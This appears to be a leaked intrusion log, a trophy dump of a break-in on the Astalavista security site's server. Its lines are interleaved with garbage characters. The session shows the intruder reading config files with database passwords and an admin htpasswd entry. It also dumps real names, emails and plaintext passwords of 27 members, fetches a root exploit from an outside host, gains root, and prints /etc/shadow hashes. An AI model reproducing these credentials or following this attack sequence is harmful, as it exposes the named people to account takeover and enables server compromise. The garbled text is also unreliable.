! a% W$ K( h2 ~! H: ?# |! Idrwxr-xr-x 7 astanet astanet 4096 Jan 5 2006 _0mysql4 Q, `# u* c9 q: m
drwxr-xr-x 7 astanet astanet 4096 Dec 22 14:16 链接标记astanet@astalavista.com: u* ]4 ]$ r% _; [1 v
drwxrwxrwx 2 astanet astanet 4096 Jan 5 2006 backend
0 s4 F, ^- s& { q- E+ ndrwxr-xr-x 2 astanet astanet 4096 Oct 24 2006 banner
3 o4 a( o9 Y E2 f, a1 f-rw-r–r– 1 astanet astanet 25724 Apr 4 2006 banner.jpg" b; C6 e; E; V8 b
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
; Z; K# v& z2 Zdrwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
" w" o! p2 \1 u S1 g) Kdrwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd; K1 |2 L3 y3 P( n6 c! S
-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php
$ ~# a/ n+ d, ]-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico. X5 P4 L/ | Z7 g9 A8 A/ t8 P- f+ ?
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
8 S* a& N- e3 N3 D' Ydrwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour
( ^& t6 i/ q7 h-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess, U9 d9 L$ F% f" Z, I, m. G$ u W
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess
4 b& }$ J$ Q" T' L1 n) K-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php$ c' _* B: p0 O) l+ M* ^# e
-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html
# l" Q6 ]9 j/ M. v" [+ @% g-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php- z$ Z2 F! Q. c+ @5 D
-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php
6 e v; G: Y" {# q/ [% U-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf& r) E/ t% q2 ?6 t$ ]$ v6 k- g
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
+ @# _3 R! g6 c! L1 ldrwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
8 ~4 S ^* o: E, [# bdrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib# j7 C& W, @1 T& X s
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log; \ h5 |) x% A" s# Q: w9 v7 J
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member. b9 ~( q5 w, S; f; u! k
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
- z8 n( ^" R4 J" L4 l' c, b( Ddrwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new/ V/ {, }* \% T- H6 t
-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf4 d; q& N, @7 E1 `" {2 |5 g/ ^
drwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re* q9 }: u) D9 [. [4 O3 M/ V% |# K$ F
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt6 d5 \$ y4 s5 `1 \
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
; k: _6 |8 P0 |& b" z! {% a( ]drwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
2 z }, i7 V$ ]drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com
* {* B* d) P& j2 x. v, ~1 bdrwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
9 x' X; Q @) Q9 u" Ddrwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src; ^ {* f7 m* L+ X
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
7 ?$ Z: N* j5 C- T9 pdrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
{) X; `. W# X' a! e; Fdrwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old" T6 U; T: g, v2 T" L, c6 ^
-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php. O% J0 w( L% M
drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
2 q/ y+ \% L$ D! |+ p2 l2 P: f
. a: T9 V8 r" ?5 w; l& ash-3.2$ head -20 index.php
1 B8 K; F* d4 O# s5 A, l<?PHP
. c, K, U- k- Y/ x4 w/**
3 ] y m8 F l9 h5 O* Mainfile (external) for astalavistaNET v2.0
. ?3 U- X- ?) o. a*1 Y+ K E7 N4 `
* @copyright Astalavista IT Engineering GmbH
) \9 M; ~% R2 C% D e6 m* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>
# w# R# Z/ W) Z- p* @version 1.0
! m) V. `/ c, ]8 @*/
, C& {! ]5 q1 d# [! c' f' e1 A
$ b* u9 C6 M: [5 V* l: J. ~. L if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {& f0 ]% b2 D# n6 f
$dontStartSession = false;, v0 j) C! s0 {4 G. P
} else {
3 e* H6 } b7 C9 A/ G+ k3 R $dontStartSession = true;
# x5 j/ t; X2 y$ b }
7 ], Q. f/ M( r5 v2 p require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);
' \. S. O% z' l9 H1 A& o# w require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);
; \2 e% D* b8 s! Q' U require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
- ]6 s. Q+ z9 }7 c) i* E1 P$ b require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);
5 o! D9 u) A, @5 W: |
6 Y4 ]& O/ o% y$ O8 b6 }: Qsh-3.2$ cd config
, ]3 `4 W1 B: d/ g2 M: v# D, B4 J: ish-3.2$ ls -la
1 K# \ M3 f9 Ltotal 320 N" I- t5 }, M
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .# k4 b4 o& h: U, @& t
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
0 Q$ l V y" s. Z-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php, k6 h6 }/ x- G0 e
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php
6 ?4 n( a$ k9 r-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php, g O9 T- R2 v3 O+ T
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php1 F D/ N3 l- U- e3 ~) @2 D1 N
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php$ `+ r6 x( J/ u4 l! E* r$ H- b
. e/ D7 {# L/ n' w3 I2 {8 h) _sh-3.2$ cat com.conf.php
+ V; w$ C' Q$ X8 a% n; u5 ~[snip]
/ w* a, c5 T) N W' @//member-database( E. H% i# X9 D( N! R
$_CONFIG['db_mem_server'] = ‘localhost’;
: r! M% X% J! H; Q9 d9 o, v) R3 H( E# e$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;' B, T2 q6 S8 q9 O3 E
$_CONFIG['db_mem_user'] = ‘astanet_db’;: v+ O3 S, t1 {+ d+ }
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;, y8 m( Z5 q5 Q# b; a" d# G
$_CONFIG['db_mem_debug'] = false; //true or false
8 X( Q% p2 r" o4 ^1 y- a; ]//ads-database
1 a7 |5 ]# D: X5 X" V$_CONFIG['db_ads_server'] = ‘localhost’;
( R0 ]( U$ A o$_CONFIG['db_ads_database'] = ‘astanet_ads’;
1 w& E: V4 _/ E$_CONFIG['db_ads_user'] = ‘astanet_db’;1 Y, y7 O: u* i6 L5 Q# H7 f
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;
" Y& h$ }3 {& ~1 `1 g$_CONFIG['db_ads_debug'] = false; //true or false. G# R, m' s U3 I! A4 \
//rainbow-database
0 E8 P$ x) C" U8 r$ \( z/ Z$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;6 m k! w+ N- O+ ^
$_CONFIG['db_rainbow_database'] = ‘rainbow’;% \' [/ R1 `7 w7 B
$_CONFIG['db_rainbow_user'] = ‘dinu’;
" T. E) c, q* K1 m6 s, c- r$_CONFIG['db_rainbow_password'] = ‘dinudinu’;& X* L# m- Y# S9 H) F: C1 w
$_CONFIG['db_rainbow_debug'] = false; //true or false
2 M" W& {( |3 O# G/ o1 a//mailing lists database! ]% Z, W0 W5 Z& b6 p5 d
$_CONFIG['db_mailing_lists_server'] = ‘localhost’;- J$ }% P: @$ l+ E
$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;% |' x& R, e& X. q1 W9 e" ~
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;9 @ O% W: P/ X/ D, W- Z! o3 S
$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;( U9 f8 P+ Y3 K( g
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
5 o* \ U4 y9 B& T$ h" v//paypal2 R* h0 |( s8 c8 S
$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;6 V- V, L* y$ K* T+ d$ D
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;, f1 P$ K( W; R. ]
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;9 n! l& N0 G. ^0 {1 K
$_CONFIG['sub_pp_noship'] = ‘1′;
" f" F- T+ E; \3 ?& C+ j$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;
7 s- v% y7 X. K& H4 v5 K& Y) J[snip]& z, p, `% I {' ]
9 T. q1 e ~4 p! \( H# Nsh-3.2$ cd ..0 ~/ `+ R2 d. B0 H5 P
sh-3.2$ cd member: V1 X1 [8 Z% v- E" H/ I
sh-3.2$ ls -la
2 G2 V! b; m8 f l" T5 etotal 20 C! S$ ?7 `+ w. K. ?
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .
( E- d) H; V* y$ G! w# }8 E0 }' ?/ }drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..: Y$ b1 Y6 C$ j/ P6 u
-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess+ E% ~) t7 j: K/ ~0 w# H
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php0 m) W/ `; V. n6 H8 ^5 X
sh-3.2$ cat .htaccess' m3 f9 ]2 X" J+ k
SecFilterEngine off
8 O: ?4 B" z! @/ P8 u2 S4 L4 C8 Y& C; H8 A7 [2 f* Y
sh-3.2$ cd ../ @& B5 n- Y4 j' o# E
sh-3.2$ cd cron( I4 T _! C" Z4 C. F( u
sh-3.2$ ls -la* N( n7 |8 E/ S
total 168
7 Q1 o( G7 k+ C; ?0 M( E. Ydrwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .5 ]. W4 a4 a1 ^& Q. z( w" K# V8 Q
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ../ d$ E6 S8 A# y' C% U3 }& l
-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php
3 O8 ?$ W; ?5 e/ u- c-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
6 B" g* A) N2 h+ I7 V) x-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php
4 I. g4 G w% u8 }0 h$ J-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php
/ u2 U# v2 Z3 k k* Z7 [5 V8 D-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php% x# I$ Z) s8 ?
-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php
- X* u- N6 _, Q* N/ X-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php I% I/ N& @2 ?
-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php N% W( [0 y8 P* r
-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
3 ]) [& W. R j; k! Z. x/ K-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
) C" \+ P2 m- S' N4 o* ]! ]+ T# j-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php
) ]4 l( w0 @& ^0 @-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php
1 I9 I( Z; R9 o6 l7 {4 G! b-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh
) _2 }) }/ _4 k+ I# p-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php: u4 Z: L" j& ^. }
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php
# Z [" \" E, A! m s; @-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php. d6 m4 c# X, U; Z; s
-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
' i F; n, z3 H; F( u-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php/ i, r4 `. J% z5 x% a
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
3 b; O% Z) [3 L) Q0 E-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php
1 \, N9 [. t% W9 y-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php
f) Y1 O% v7 X. I W) f' Q f" I4 I
sh-3.2$ cd .." W/ F2 P& v! @/ V
sh-3.2$ cd _007
8 I$ K- d9 x! bsh-3.2$ ls -la8 e9 ?5 e' s/ N7 e9 t$ d
total 24
: L' \: E6 V, I; t: rdrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .& d4 ^$ A4 Y \6 U% E
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
' k* Y+ D+ Y9 i0 q4 i# B0 C6 k0 @7 X-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess9 o9 G0 a/ H! m# y$ l6 Z+ w# \
-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php% I3 t- G7 a* ~1 F
-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php- l% v( t/ j/ s
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
3 L, S1 v+ U+ V3 M2 y) `7 |8 j5 G* ^; e- G" o' r
sh-3.2$ cat .htaccess
) d, Y- {+ v8 Z! g: \, l+ Z0 x+ BauthType Basic- \( d9 }+ |: o2 h3 X q; O
authName Admin) t/ K8 h0 E. b/ T/ ]
authUserFile /home/astanet/auth/.htadm_pwd
; d) s, A" _1 B* Yrequire valid-user
# g0 F; H$ b: o7 G6 ~5 O0 y2 P8 R1 R3 I; T& A G. J; z
sh-3.2$ cat /home/astanet/auth/.htadm_pwd
6 ]5 W; {( t1 I' G0 \; V- Eadmin2net:CR0bl65MwhfT2 s2 c- ]% q+ F: n7 e
F/ O2 {1 b! E( t" {0 T1 g
sh-3.2$ mysql -u astanet_db -p0 W0 t2 N' f" d# c+ b3 X$ }
Enter password: p2 m8 D8 l+ `3 P' }
Welcome to the MySQL monitor. Commands end with ; or \g.7 S R* [' f" E- G
Your MySQL connection id is 275153
9 l( _4 \# k) g5 w T) V3 zServer version: 5.0.45-community-log MySQL Community Edition (GPL)% p, w5 h X( ~, K( z: M' Q
( ]/ y0 I8 b$ |/ ^- Q6 K/ T) k1 M8 M
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
4 }2 h/ N$ i Y* B: W9 E- n5 C- t4 \- v
mysql> show databases;
# @2 r% ^% d6 b, [7 o" ]" c! E, g+———————–+
# \3 n, ]& X0 W7 p: P8 z" e| Database |
5 _: ~; R; i" X2 h+———————–+3 B5 n$ ^5 _) i( J2 @
| information_schema |/ O8 [6 F; @) N! f: P8 C; U q
| astanet_ads |
2 V$ h# o; B4 ]4 a: p+ _| astanet_mailing_lists |
- C. t M. s# F! l- i4 X| astanet_mediawiki |
( v5 B, \8 F7 {; z| astanet_membersystem |
4 N' P9 _4 D8 x5 Q$ [* H4 o| test |
* i# V5 w3 q6 h+ z6 S0 D! }( p |+———————–+
, n2 p! L7 U" Q& z" c" ~+ v6 rows in set (0.00 sec)
' y8 q. R: D) X1 R
: d9 q. s" |3 Q4 l( n* M7 lmysql> use astanet_membersystem0 i& ]" `1 B6 }7 N* e V# C7 _' P
Database changed
! s6 @. H% `, V0 nmysql> show tables;5 E6 G4 n$ X" c# J2 }8 S/ ?
+———————————–+; o# O; s6 Z+ a: d: f
| Tables_in_astanet_membersystem |
% X6 k" g5 H4 d0 A/ Y! i+———————————–+: ~, K' N' B% Y6 f& h' T
| blacklist_categories |
, Y9 P6 P& V6 q4 _| blacklist_content |. [& ~! t% G Y1 g7 X
| blacklist_levels |
! {% Q- E e# m; e| blacklist_mcset |7 ~9 d" O6 P8 n( H9 Q
| dir_categories |) S; n% `( G6 c/ j8 D
| dir_comments |1 U* F( q* L3 ^
| dir_links |
7 z$ z; l7 T, V; F3 |" d8 g2 _| dir_temp |
5 X- V9 R9 {8 V3 r$ h+ Z/ u: a8 ^| dir_votes |. q; D& ~7 o1 T( T, @# [$ g7 W
| documents |
) A, u0 |3 N! z a9 H- x- z7 f| documents_categories |
5 t& a5 c1 u$ b# J$ g| email_content |
+ g: |, `! R e' L+ }& R| email_settings |2 k! h3 h- Y! D; g" J4 B
| exploits |$ B0 y9 ?9 \% z
| exploits_categories |1 I2 d$ Q0 T8 X2 D% n; I
| exploittree_categories |% J9 C& _9 ` g* J6 [5 i! S
| exploittree_exploits |; h" q2 j' _0 r. q) Y3 O
| home_values |/ _2 f7 d5 v2 R* _4 I6 S$ G+ T) Q
| iso_countries |
& |) w6 m, Y) S; _| links_categories |
" H: H: m, _+ G3 Q: ^ g| links_records |
% Y1 H% [5 _3 |6 t0 b& a0 f| links_unauth |
+ h z0 Y8 f; r" X t8 j3 r5 x2 n| links_votes |
6 i8 Q" g6 L0 j& v: M| log |1 S9 }8 \( N* @
| news_categories |
2 T7 Z. S- x* c. A| news_comments |8 ^# \2 ^- P8 S
| news_emoticons |
! \: \" H5 N# U* V2 ~8 `) @# J. [| news_latest |
) K4 c9 G w! v: ?. {' s& j# J| news_messages |
5 F6 i; {: N6 V- z+ F: c| news_statistics |
& ?; P( Y1 R4 V# j' X c5 Y| news_votes |
: G7 y/ W8 a# w. A" `7 T+ || prices_content |1 L6 k, N& f" J) B! R
| prices_offers |+ {+ w4 B+ t& S2 t) d3 B
| rss_settings |
6 I, ^! p/ Z1 r" ]| sessions |& R6 O- n4 S6 l$ c) G
| stats_signups |' q6 ~2 ~9 ^" f
| u2u2 |: I( G6 f- s0 M* X; b. g: c7 O
| u2u_contact |
0 Z1 s9 v- q; Z9 L. y) O3 T| u2u_settings |
/ |* {$ @$ g. R1 f' s* i| user_keywords_selected_categories |, s4 {) q/ J6 s/ ?
| users |
5 Z0 i7 w- ~3 t. X. O1 B! q& i u| users_ipn_test |& N0 y+ U! L R' u" Y2 |5 a/ n
| users_keyword_values |
0 Z' a: m+ e7 y$ p* I& z' R m| users_profile |
' R- e: _/ `8 }1 ~1 j2 e7 _. E| users_temp |: k+ s. p; ?0 ~: n, U2 {
| users_upgrade | L/ L! Z0 T* A( h) s
+———————————–+% ?, t7 R/ w7 Z T* |1 n
46 rows in set (0.00 sec)
! c, {0 Z5 b7 `! Q% {9 q- H! D* x8 {5 n6 p* J# N Y
mysql> describe users;
& B7 ?/ l! I$ K3 \: G/ `. \6 T+————————–+————————————–+——+—–+———————+—————-+
2 K& @6 A0 e' G+ I! G0 R| Field | Type | Null | Key | Default | Extra |+ c N- M$ @: m2 r
+————————–+————————————–+——+—–+———————+—————-+, i5 R2 N4 I# N' q' r2 g% R3 u
| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
5 V; p* b& D. T, N- [0 v| user | varchar(50) | NO | | | |
1 g! d9 F* t; u; S3 x| nickname | varchar(30) | NO | MUL | anonymous | |0 e! V+ J/ U" T& i# W; G# B
| password | varchar(30) | NO | | | |4 f! u W' y! P+ l* U/ I; G( A
| userlevel | tinyint(3) | YES | MUL | NULL | |
- Y( p0 a! i- v1 v( N* C+ m8 ~# i! ?( V2 Z| exp | int(8) unsigned | NO | | 0 | |
- L4 A2 s( C7 }6 h5 _| email | varchar(50) | NO | | | |
# _ ~' m8 |, Q| ip | varchar(15) | NO | | 0 | |7 W" l5 W- [) w* c# }+ f
| proxy | set(’0′,’1′) | NO | | 0 | |
* ^" L1 m- ^/ `6 D y4 j* S| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |
, A( |1 a y. _/ v' U9 U3 i' U( a| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |
) W9 c b0 _4 t- k; r2 |, T| anz_in | tinyint(1) | NO | | -1 | |, T1 @! U: g- E. b. b. s3 Y
| status | tinyint(1) unsigned | NO | | 0 | |3 I* e9 P$ J7 H0 h) I7 V$ R8 E
| checked | set(’0′,’1′,’2′) | NO | | 0 | |' K1 A( i# W9 r9 S
| freemember | set(’0′,’1′) | NO | | 0 | |
j7 ]0 h9 H6 i| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |' ^: F1 J5 L. }0 L& J4 K8 H
| lang | tinytext | NO | | | |+ o+ V, D3 _- [- D( W
| adid | smallint(6) | NO | | 0 | |
% v) F7 [7 P: K* v5 w- H8 F0 B| pp_txn_id | varchar(255) | YES | | NULL | |4 }8 L8 p. v" s5 z7 q! {5 m2 i
| cnb_transaction_id | varchar(255) | YES | | NULL | |
@2 ^1 `7 b- k! P| cnb_order_id | varchar(255) | YES | | NULL | |( S0 T T+ T C4 \
| cnb_user_id | int(11) | YES | | 0 | |
: T5 H& h- ^; z' t/ q+————————–+————————————–+——+—–+———————+—————-+
& S7 R4 I. X0 U1 d# U X22 rows in set (0.01 sec)
6 u q& Y5 n9 v2 x" Q. y, D. g7 T; M' s
mysql> select count(*) as skids from users;, b6 `" [1 w _& j( `3 G4 M, C
+——-+
6 x3 m+ ^$ k; G4 D! x| skids |
2 @, \" _1 V6 m+ L6 R$ I; `& ~+——-+
2 P1 @6 J' v5 K2 N% i% N% F6 m| 25199 |
% L% h4 u3 C- z4 E$ o/ f' \' W% m+——-+, H4 t/ {: X% F( H8 Y. B- Y" Y* `
1 row in set (0.00 sec)# D2 a) I% _" M7 w( ~- D# y
3 Z$ b$ q' [5 B/ w
mysql> select user,nickname,password,email from users where userlevel = 1;5 w4 R7 s3 L" H! G9 ]6 ~* _; o
+————————–+———————-+——————+———————————–+
+ K+ h/ P$ V& [2 g6 [1 X6 X| user | nickname | password | email |
3 m3 G2 r; h/ B, T5 Z" a( A+————————–+———————-+——————+———————————–+
* r. j5 D; d4 @% E t! r5 P| pascal | prozac | astaman3 | 链接标记info@astalavista.net |% k$ l% G; A E9 k
| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |1 H' b# ?& z3 V8 K" g& G2 N
| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |: m% a, N& ^0 |( |. t8 E
| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |- W5 w/ K% \- g/ q2 p8 b4 J$ O
| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |% {+ j' {; G+ N
| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |
" C3 g% B7 p/ T9 K| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |
/ V3 b4 v2 y/ \6 o; d| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |& f( k' ^! D: c5 @' F* s
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |
% D: T' w8 C& y3 L& X| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |7 v: U. t+ y4 C: w5 R
| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |& m, `0 } |8 s
| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |$ }$ F, I/ v9 p3 k, A2 M' A
| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |
, Q4 X. I, _3 k, Q| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |. P' f# Y, A; l- K0 y
| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |, h" R5 b2 g: w8 x: R
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |
! I! b; U$ b5 r+ `- w2 `| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |
0 I' n" R2 O/ a| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |
! H! s* N& {" J% L! E* r* j| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |$ p- t% F6 U/ {; y" \
| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |
% r$ C4 _' v. ]- t| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |
+ |4 a6 C8 M$ z! _) N2 V6 H| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |' ?9 f# ]' R; Y7 q# g' b
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |" A& e( n& k* m# Y% c2 }& E
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |
9 N9 `# L S6 ~! [| Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |
6 n- n7 O1 m/ G; x| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |
$ U5 | g; U) p @| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
* G8 r; B# l$ g# N0 \" v+————————–+———————-+——————+———————————–+
! W" k& A( B1 `27 rows in set (0.00 sec)# s# S- ]1 j( N- }% r
0 C0 e+ c4 O5 Z! S! \
mysql> exit;
% ]4 K7 c4 C$ B2 qBye( W6 b$ |3 F3 g/ e8 b
0 c; _: |/ g8 `6 [0 C. t7 z[~] plaintext passwords? yes,
5 p/ q7 U1 ^2 eThose so called “security professionals” who charge you $6.66 / month to
5 b. x9 w! G( g) z" l; Zregister at their hack-proof portal, save your passwords in plaintext…6 a2 |/ i4 n e% c8 J6 b7 G
brilliant!
$ A j% g! W! I2 e: w1 M P7 s0 a- p0 Q/ q
[~] This been fun but we want more./ n# B7 Q( `4 _/ E7 V/ O
: m: t2 }2 T2 n3 q) nsh-3.2$ uname -a2 j+ b+ ?- _& s( l9 J
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux, l O2 H$ a$ ` I
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]
8 p' |* Q+ G- K–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]/ ?/ W! l8 W$ B( [) A! n
Resolving anti.sec.labs… 13.33.33.37; n5 \% M8 ?0 P, g
Connecting to anti.sec.labs|13.33.33.37|:80… connected.$ i, b/ ]7 }' Y: {1 `# C' N
HTTP request sent, awaiting response… 200 OK2 b' U" w1 A* Y: W
Length: 18200 (18K) [text/plain]
$ x, l# ?- `8 ASaving to: `g0troot’
5 C/ A' d5 d5 ` |# p. ]& m! F
& O& j- F0 O" {0 C100%[=========================================================================================================================================>] 18,200 58.6K/s in
. S7 x$ _% y z! {+ n+ w1 q0.3s
+ f$ n9 L$ p4 d. L7 D# z; ` T m# j' x+ i( c
18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]
9 m3 M4 \7 K9 o8 f1 p- E
( j1 w2 k8 ^3 Z3 w4 S2 E. I" X6 vsh-3.2$ ./g0troot -i x86_64
9 M7 U3 S- D7 b! @" d% H/ U1 ^[+] g0troot - anti.sec.labs. F2 j6 T7 K6 _9 P/ n0 z, ~- ~
[+] Target: 2.6.18-128.1.10.el5- s; K9 V0 v5 a8 j4 S8 n( \; Z2 h
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]/ X3 ]" c- h5 H
$ P( L# q# T/ c: }8 K' K& \
[+] r00tr00t. |5 o5 d/ W5 m( E+ t3 A
[~] Executing shell…
0 ?& A; B- V; V( N5 @; d- }: V0 k' |/ R+ F; {
sh-3.2# id; n, o. M* n9 q6 G6 V- _# i& R
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)4 G' U+ g$ m5 ?, S. b. F: \
; S1 p# T- ?8 Xsh-3.2# cat /etc/shadow
7 w/ a# l5 r. [0 O$ u, troot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::/ X5 G7 }8 R/ J* b
[snip]
0 E4 {( T" A8 t& b- \& hadmin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
# V+ t1 Q4 \+ y( M! Bjon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
3 V k$ T5 t v7 K- Pcom1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::2 \. ~4 s, H) }
astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::
' `. H! A7 I/ j2 }0 s
